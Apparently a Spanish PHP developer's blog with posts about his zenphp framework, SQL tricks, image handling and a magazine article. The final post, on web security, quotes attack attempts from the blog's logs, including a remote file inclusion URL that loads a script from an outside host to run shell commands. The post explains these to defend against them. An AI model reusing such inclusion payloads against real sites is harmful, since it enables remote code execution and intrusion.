Artículo en Novática sobre zenphp
2 Febrero, 2010
He aparecido varias veces en esta revista con los proyectos que presenté en los concursos de software libre.
Como nunca he publicado mi artículo extendido sobre zenphp en la revista, aquí os muestro algunos detalles del mismo.
Tengo que decir que los editores de esta publicación son excelentes, tras varios correos fuimos depurando el artículo y gracias a su creatividad, concretamente de Llorenç Pagés (que actualemente trabaja para la misma empresa que uno de mis mejores amigos
), fuimos elaborando el resultado del que os muestro una intro
está en la revista nº195 de Ati – Novática,página 58 (septiembre-octubre Año XXXIV), lo que se puede hacer con este framework está en mi web de presentaciones como programador php : Juan Belón
Más Documentación sobre Ingeniería del Software
27 Diciembre, 2009
He estado subiendo todos los documentos que tenía en la Forja a la web de SlideShare, además de algunas charlas que he presentado, iré subiendo conforme vaya haciendo nuevas.
Por ejemplo he subido una presentación llamada “Depurando Javascript con Firebug“:
e incluso la memoria del proyecto:
Si queréis mucha más información sobre Usabilidad y Arquitectura de la Información orientada a aplicaciones web, pasaros por la web Programador PHP.org.
Charlas en la ETSIIT – de la UGR
19 Octubre, 2009
Encontrar el equilibrio en las cosas pequeñas
7 Noviembre, 2008

Siendo detallista y equilibrado encontraremos que nuestro trabajo se ha convertido en algo sumamente sencillo de mantener.
El caso más fundamental de lo que estoy hablando es cuando un cliente nos pide un nuevo cambio que requiere modificar, en este caso añadir un campo nuevo de imagen de miniatura a una tabla de noticias y,bien, ahora tenemos que añadirlo en la interfaz de administración además de en la BD y en el cliente que habíamos escrito…
Sabemos que podemos implementar la lógica de administración fácilmente haciendo copio y pego de la parte del formulario de edición de la noticia cambiando el nombre por el del campo de la imagen ,guardado de ficheros, procesamiento de imágenes “thumbs” , etc.
Lo que debemos recordar es que podemos encontrar el equilibrio en el funcionamiento por medio de las sentencias IF de SQL, de modo que si ya teníamos un campo imagen y ahora lo que necesitamos es mostrar una miniatura pero no queremos cambiar el resto, simplemente modificamos la línea en la que se nombran los campos para realizar las operaciones de la siguiente forma:
si antes se hacia un “Select imagen from noticias” ,ahora sólo tenemos que cambiar “imagen” por
IF(miniatura=”,imagen,miniatura) as imagen
de forma que el resto de la lógica del programa se mantiene intacta, sólo hemos hecho un cambio más las operaciones básicas para administrar los datos con el campo

Ahora sólo queda relajarse sabiendo que todo funciona sin quebrarnos demasiado la cabeza jeje
Howto: filtrar datos de forma avanzada pero pensando como un principiante
30 Septiembre, 2008

En principio, parece que el título del post es algo de lo más paradójico, pero nada más lejos de la realidad, en zenphp siempre hay un Joker, y éstos son los trucos que enseño en este blog, triquiñuelas rápidas y complejas pero fáciles de entender y modificar en poco tiempo.
Detalles del Modelo Visualizador VS MVC
8 Julio, 2008

Acabo de estar mirando el nuevo modelo de datos de Joomla 1.5 junto con su controladores y vistas…es interesante sin embargo complicado y necesitas tener el manual cerca (a “mano”
) porque no sabes nada de nada al estar dentro de una vista…si estás en una vista tipo “blog” de una categoría, cómo puedes conseguir la sección a la que pertenece? En algunos foros se discute el tema, acabando por hacer un nuevo y completo módulo o extensión también llamado para cubrir las necesidades…sólo por necesitar un identificador? …como veis parece absurdo tener una división que no te da libertad y crea más confusión…

En zenphp está el modelo de datos donde están todos los datos que está comunicado con punteros con el resto de modelos de la aplicación y por otro lado está, asociado al modelo ,el visualizador, nunca perdemos nada de vista y todo es parametrizable y accesible fácilmente, casi no tenemos ni que usar el manual o la documentación…veis la pauta? notais la diferencia? ahi radica la potencia de hacer algo simple y que funciona…
Saludos!
Automatizando procesos de imágenes
20 Mayo, 2008
![]()
Normalmente, cuando subimos una imagen lo primero que necesitamos es redimensionarla, para ello he añadido una librería, tengo el soporte de BMP hecho pero no lo considero relevante, al menos no tanto como el de JPEG,PNG y GIF, fundamentales en la web que si vienen con la clase…:)
Un ejemplo se puede ver en la misma clase.

Más sencillo no se puede oiga!
Más Extras para completar zenphp:VCard y DHTML Calendar
13 Mayo, 2008
Como he visto que faltaban algunas cuestiones extras, las he añadido:
soporte para VCards [código][ejemplo]
Podeis hacer uso de “apt-get install 2vcard” para hacer vuestras conversiones de libros de direcciones a VCards.
Calendarios en DHTML para insertar en formularios [descargar DHTML Calendar][ejemplo]
Una captura:
Espero que os sirvan, como siempre
Expandiendo zenphp a los medios
24 Abril, 2008
Para expandir zenphp escribo artículos donde tan sólo explico lo que los programadores necesitan, se hace más fácil de leer si no son muy largos y está escrito de forma que es comprensible independientemente del nivel que tenga el lector,…o al menos se intenta
| El último artículo que he escrito va sobre cadenas de texto y expresiones regulares, muchas comunidades suelen tener cientos de preguntas ,donde se repiten muy a menudo los temas, con estos pequeños tutoriales se pretende ahorrar horas de conversaciones y preguntas/respuestas que por bien que estén necesitan un tiempo para ser publicados y completados. | ![]() |
Tener en cuenta todos los casos es fundamental, para hacerlo me ayudo de los libros que voy encontrando, la mayoría están en inglés y a veces me sorprendo a mi mismo leyendo y escuchando cosas en este idioma, como si fuera español, aunque no me vuelvo a plantear si el framework debería estar en inglés, me parece bien como está
Aplicaciones web seguras
20 Abril, 2008
Escribí hace algún tiempo un artículo donde explicaba el problema de que se diera mucho a conocer un software hasta que mucha gente lo usara ,comentándolo públicamente…y por qué existe un riesgo mayor mientras más fama tenga…
He encontrado indicios de intentos de explotación de agujeros de distinta índole en los logs de este blog, aquí teneis ejemplos de lo que se pretende hacer…
¡¡Lanzamiento de caña!!
- Con la siguiente dirección:
home.php?section=http://www.backbreakacres.com/22/test.txt??
se pretende inyectar un ataque con una línea de ejecución de comando de consola, detectando previamente el sistema operativo para lanzar un servicio de red…para ello se necesita comprobar si el parámetro safe_mode de PHP está activado…algo relativamente sencillo que puede ser testeado rápidamente y tiene grabes consecuencias… - Por medio del siguiente ataque
URL%20http://yoshishome.chat.ru/images se intenta engañar a un controlador de una aplicación web
con la aspiración ni más ni menos que de insertar todo un conjunto de órdenes en una cadena que está ofuscada y encriptada para que los analizadores de código no encuentren ninguna linea u orden sospechosa en tiempo de ejecución, recordemos el peligro de la función eval() de PHP… - Técnicas raras usando métodos que concatenan dirección tras dirección con parámetros ++GET para engañar al analizador de .htaccess de Apache y conseguir descargar ficheros ,etc.
A esto se ha de añadir otros tipos de ataque como las inyecciones de SQL en los formularios, modificación de cookies de sesión, des-habilitación de JavaScript, antes,mientras y tras la carga de una web, alteración del envío de una petición por métodos POST y GET, aprovechar vulnerabilidades conocidas en general de PHP, como la escritura de ficheros y ataques XSS…etc.
Por eso, un buen framework ha de pensar en estas cosas tan importantes y dar soluciones a la altura, en mi caso,he propuesto algunas…y están implementadas de forma transparente.
Si no teníamos suficiente con diseñar las webs para cada tipo de navegador (y S.O.) además tenemos que estar atentos a los ataques del exterior, jeje








